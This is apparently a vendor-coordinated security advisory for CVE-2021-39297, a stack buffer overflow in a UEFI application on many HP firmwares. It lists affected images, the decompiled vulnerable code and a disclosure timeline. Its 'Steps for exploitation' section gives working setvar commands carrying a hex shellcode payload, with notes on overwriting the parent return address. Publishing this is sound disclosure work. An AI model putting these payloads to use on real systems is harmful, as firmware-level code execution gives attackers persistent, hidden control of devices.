[BRLY-2021-003]
The stack buffer overflow vulnerability leads to arbitrary code execution in UEFI application on multiple HP devices.
BINARLY efiXplorer team

Summary

BINARLY efiXplorer team has discovered a stack buffer overflow vulnerability that allows a local priviledged user to access UEFI Runtime DXE application and execute arbitrary code.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2021-003
  • HP PSIRT assigned CVE identifier: CVE-2021-39297
  • CERT/CC assigned case number: VU#917518
  • CVSS v3.1 Score 7.7 High AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

Affected HP firmwares with confirmed impact by Binarly team

Fimware Application name Application version Application MD5 File GUID
S05_02020000.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
S09_02020000.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
S15_02020000.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
S25_02020000.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
S27_02020000.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
S29_02020000.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
S70_01040200.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
S73_01040200.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
S78_01010500.bin 0138 2.2.0.0 604c4ac862ab8e21d73f3df3977bd09c C988BDED-6977-464D-B714-E61DEBD2DE97
R06_020800.bin 0138 2.0.2.0 100b7357d83a1f99584bad191f244ee6 C988BDED-6977-464D-B714-E61DEBD2DE97
R09_020800.bin 0138 2.0.2.0 100b7357d83a1f99584bad191f244ee6 C988BDED-6977-464D-B714-E61DEBD2DE97
R26_020800.bin 0138 2.0.2.0 100b7357d83a1f99584bad191f244ee6 C988BDED-6977-464D-B714-E61DEBD2DE97
R70_010600.bin 0138 2.0.2.0 100b7357d83a1f99584bad191f244ee6 C988BDED-6977-464D-B714-E61DEBD2DE97
R74_011502.bin 0138 2.0.2.0 100b7357d83a1f99584bad191f244ee6 C988BDED-6977-464D-B714-E61DEBD2DE97
R81_011502.bin 0138 2.0.2.0 100b7357d83a1f99584bad191f244ee6 C988BDED-6977-464D-B714-E61DEBD2DE97
S80_010402.bin 0138 2.0.2.0 100b7357d83a1f99584bad191f244ee6 C988BDED-6977-464D-B714-E61DEBD2DE97
Q95_011400.bin 0138 1.24.0.0 f0f53a2f30f91feb32af7b6b8d73353d C988BDED-6977-464D-B714-E61DEBD2DE97
Q79_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
Q82_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
Q85_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
Q92_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
Q93_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
Q96_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
Q98_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
R79_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
R80_011500.bin 0138 1.23.0.0 93828bb1aa6be53baa94a5a8dc7d4a89 C988BDED-6977-464D-B714-E61DEBD2DE97
P89_0138.bin 0138 1.19.0.0 b5e8a754db9b9622abba6d32b1f793c1 C988BDED-6977-464D-B714-E61DEBD2DE97
P90_0138.bin 0138 1.19.0.0 b5e8a754db9b9622abba6d32b1f793c1 C988BDED-6977-464D-B714-E61DEBD2DE97
P95_0139.bin 0138 1.19.0.0 b5e8a754db9b9622abba6d32b1f793c1 C988BDED-6977-464D-B714-E61DEBD2DE97

Potential impact

An attacker with local privileged access can exploit this vulnerability to elevate privileges from ring 3 or ring 0 (depends on the operating system) to a DXE Runtime UEFI application and execute arbitrary code. A malicious code installed as a result of the vulnerability exploitation in a UEFI application could survive across an operating system (OS) boot process and runtime or modify NVRAM area on SPI flash storage (to gain persistence on target platform). Additionally, this vulnerability potentially could be used by threat actors to bypass OS security mechanisms (modify privileged memory or runtime variables), influence on the OS boot process, and in some cases would allow an attacker to hook or modify EFI Runtime services.

Vulnerability description

The vulnerability exists in a UEFI application if the length of NVRAM PlatformLang variable exceeds the length of NVRAM Lang variable (the DataSize argument is controlled by an attacker). The second call of GetVariable leads to buffer overflow with further arbitrary code execution controlled by a potential attacker.

The vulnerable code below is located at offset 0x40C84 (firmware name: S05_02020000.bin, application name: 0138):

VendorGuid.Data1 = 0x8BE4DF61;
*&VendorGuid.Data2 = 0x11D293CA;
*VendorGuid.Data4 = 0xE0000DAA;
*&VendorGuid.Data4[4] = 0x8C2B0398;
Buffer = 0i64;
DataSize = 8i64;                              // data size only initialize once
if ( IsNotEqual(buf, g_buf) )                 // False (buf = g_buf)
{
  gBS_157B28->SetMem(&Buffer, 8ui64, 0);
  sprintf_s(&Buffer, 8i64, "%a", vLang);
}
else if ( (gRT_157B30->GetVariable(L"PlatformLang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) == 0i64 )
{
  WriteLog(L"PlatformLang reported as %a.\r\n", &Buffer);
}
else
{
  // DataSize didn't change after the first GetVariable call which leads stack buffer overflow
  if ( (gRT_157B30->GetVariable(L"Lang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) != 0i64 )
  {
    result = WriteLog(L"Unable to find Lang variable, defaulting to English.\r\n");
    g_LangVarFound = 0i64;
    return result;
  }
  WriteLog(L"Lang reported as %a.\r\n", &Buffer);
}

Steps for exploitation

Change PlatformLang and Lang variables:

setvar PlatformLang =4141414141414141424141414141414143414141414141414441414141414141454141414141414110e7e90700000000b818e09e07ba020000004c8b40404c89c141ff5028b818e09e07ba41e7e9074c8b40404c89c141ff5008ebfc90909090904700720065006500740069006e00670073002000660072006f006d002000650066006900580070006c006f00720065007200210000
setvar Lang =4141414141414141424141414141414143414141414141414441414141414141454141414141414110e7e90700000000b818e09e07ba020000004c8b40404c89c141ff5028b818e09e07ba41e7e9074c8b40404c89c141ff5008ebfc90909090904700720065006500740069006e00670073002000660072006f006d002000650066006900580070006c006f00720065007200210000

By changing the value of PlatformLang variable, we change the value of the DataSize before the second call to GetVariable.

By changing the value of Lang variable, we overflow the stack and execute arbitrary code on the stack.

It is important to note that the Buffer value on the stack lies after the current function return address:

-0000000000000004 VendorGuid      dd ?
+0000000000000000  s              db 24 dup(?)
+0000000000000018  r              db 8 dup(?)
+0000000000000020 arg_0           dq ?
+0000000000000028 arg_8           dq ?
+0000000000000030 Buffer          dq ?
+0000000000000038 DataSize        dq ?
+0000000000000040
+0000000000000040 ; end of stack variables

So, to trigger the vulnerability it is necessary to overwrite the return address of the parent function and not the return address of the current function.

Demo

Figure1

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date
HP PSIRT is notified 2021-07-12
HP PSIRT confirmed reported issue 2021-08-09
HP PSIRT assigned CVE number 2021-08-19
CERT/CC created a case 2021-11-16
HP PSIRT provide patch release 2022-02-04
BINARLY public disclosure date 2022-02-04

Acknowledgements

BINARLY efiXplorer team

References